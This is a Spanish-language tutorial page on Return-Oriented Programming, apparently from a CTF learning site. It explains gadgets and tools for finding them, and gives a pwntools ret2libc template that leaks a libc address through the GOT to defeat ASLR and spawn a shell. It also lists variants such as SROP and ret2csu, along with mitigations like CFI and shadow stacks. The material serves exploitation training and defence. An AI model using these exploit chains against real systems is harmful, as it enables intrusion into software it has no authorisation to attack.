Saltearse al contenido

Return-Oriented Programming (ROP)

Cuando el stack no es ejecutable (NX/DEP activado), no puedes meter shellcode y saltar a él. La solución es ROP: en vez de inyectar código nuevo, reutilizas trozos de código que ya existen en el binario o en libc. Esos trozos, llamados gadgets, son secuencias cortas que terminan en ret; encadenándolos en el stack construyes la lógica que quieres (poner argumentos en registros, llamar a system, hacer una syscall) sin inyectar una sola instrucción nueva.

# un gadget es una secuencia que acaba en ret, p. ej.:
pop rdi ; ret # saca el siguiente valor del stack a RDI, y retorna
# al controlar el stack (vía overflow), controlas qué "retornos" encadenas:
[ pop rdi; ret ][ "/bin/sh" ][ system ]
# efecto: RDI = "/bin/sh", luego llama a system -> shell

Cada ret salta al siguiente gadget cuya dirección pusiste en el stack. Es “programar” con retornos.

ROPgadget --binary ./vuln # listar todos los gadgets
ROPgadget --binary ./vuln | grep "pop rdi"
ropper --file ./vuln --search "pop rdi"
# en gdb (pwndbg): rop ; ropgadget

Los más buscados (convención de llamada, ver Ensamblador x86-64): pop rdi; ret, pop rsi; ret, pop rdx; ret, ret (para alineación).

El ROP más común: usar funciones de libc (que está enlazada) para lanzar una shell.

from pwn import *
e = ELF('./vuln'); libc = ELF('./libc.so.6')
# tras un LEAK de libc (bypass ASLR), calculas direcciones:
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = 0x... # gadget del binario
rop = flat(
b'A'*offset,
pop_rdi, binsh, # RDI = "/bin/sh"
ret_align, # alineación de stack (movaps en libc moderna)
system # system("/bin/sh")
)

Con ASLR, la base de libc cambia cada ejecución. Primero filtras una dirección de libc (p. ej. imprimiendo una entrada de la GOT con puts), calculas la base, y con ella las direcciones de system//bin/sh:

# 1er ROP: leak -> puts(puts@got) para filtrar la dirección real de puts
rop1 = flat(b'A'*offset, pop_rdi, e.got['puts'], e.plt['puts'], e.symbols['main'])
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
# 2º ROP: ya con libc_base, ret2libc a system("/bin/sh")
ret2syscall encadenar gadgets para hacer una syscall execve("/bin/sh") directamente
(poner RAX=59, RDI=binsh, RSI=0, RDX=0 ; syscall)
SROP Sigreturn-Oriented: abusar de sigreturn para setear TODOS los registros
ret2csu usar el gadget __libc_csu_init para controlar más registros
one_gadget una sola dirección en libc que lanza shell (si se cumplen condiciones)
stack pivoting mover RSP a memoria controlada cuando el overflow es pequeño
pwntools ROP() construir cadenas ROP automáticamente: rop.call('system', [binsh])
ROPgadget / ropper buscar gadgets
one_gadget libc.so.6 encontrar el gadget mágico
ropemporium.com el sitio de referencia para practicar ROP paso a paso
  • CFI (Control-Flow Integrity) y shadow stacks (Intel CET): dificultan encadenar gadgets/retornos arbitrarios.
  • ASLR + PIE fuertes: sin leak, no hay ROP fiable; evitar leaks (no imprimir punteros).
  • Full RELRO (GOT de solo lectura) cierra la sobrescritura de GOT; stack canaries.
  • Reducir gadgets útiles (compilación, -fcf-protection); lenguajes seguros en memoria.
  • Confirmar NX (checksec) → ROP necesario
  • Control de RIP vía overflow (offset conocido)
  • Buscar gadgets (ROPgadget/ropper): pop rdi/rsi/rdx
  • Leak de libc (bypass ASLR) y cálculo de base
  • ret2libc: system(“/bin/sh”) o ret2syscall execve
  • Alineación de stack (ret extra) en libc moderna
  • one_gadget / SROP / ret2csu si encaja
  • Shell/flag en local → remoto